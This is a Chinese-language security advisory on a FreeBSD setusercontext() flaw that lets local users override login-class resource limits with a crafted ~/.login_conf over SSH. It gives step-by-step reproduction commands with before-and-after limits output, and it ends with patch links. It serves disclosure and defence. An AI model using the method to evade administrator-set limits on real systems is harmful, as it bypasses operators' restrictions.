FreeBSD setusercontext()函数绕过安全限制漏洞


FreeBSD setusercontext()函数绕过安全限制漏洞

发布日期:2010-08-18
更新日期:2010-08-19

受影响系统:
FreeBSD FreeBSD 8.0
FreeBSD FreeBSD 7.2
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 42533

FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统。

在以其他用户的权限运行时lib/libutil/login_class.c文件中的setusercontext()函数应用了特定的用户设置,这允许本地用户通过创建特制的~/.login_conf文件并通过OpenSSH登录更改某些受限制的资源。

<*来源:Andrey Zonov (andrey.zonov@gmail.com)
 
  链接:http://secunia.com/advisories/40923/
        http://www.freebsd.org/cgi/query-pr.cgi?pr=141840
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

1. 在/etc/login.conf中添加新的登录类

test:\
:cputime=1h:\
:tc=default:

2. Make db

# cap_mkdb /etc/login.conf

3. 更改账号的登录类

# pw usermod $login -L test

4. 通过$login以SSH连接到这个主机并执行limits -a

$ limits -a
Resource limits (current):
cputime 3600 secs
filesize infinity kB
datasize 524288 kB
stacksize 65536 kB
coredumpsize infinity kB
memoryuse infinity kB
memorylocked infinity kB
maxprocesses 3603
openfiles 7207
sbsize infinity bytes
vmemoryuse infinity kB
pseudo-terminals infinity
swapuse infinity kB

5. 创建~/.login_conf

me:\
:cputime=2h:

6. 再次连接到这个主机并执行limits -a

$ limits -a
Resource limits (current):
cputime 7200 secs
filesize infinity kB
datasize 524288 kB
stacksize 65536 kB
coredumpsize infinity kB
memoryuse infinity kB
memorylocked infinity kB
maxprocesses 3603
openfiles 7207
sbsize infinity bytes
vmemoryuse infinity kB
pseudo-terminals infinity
swapuse infinity kB

建议:
--------------------------------------------------------------------------------
厂商补丁:

FreeBSD
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.freebsd.org/cgi/query-pr.cgi?pr=141840

相关内容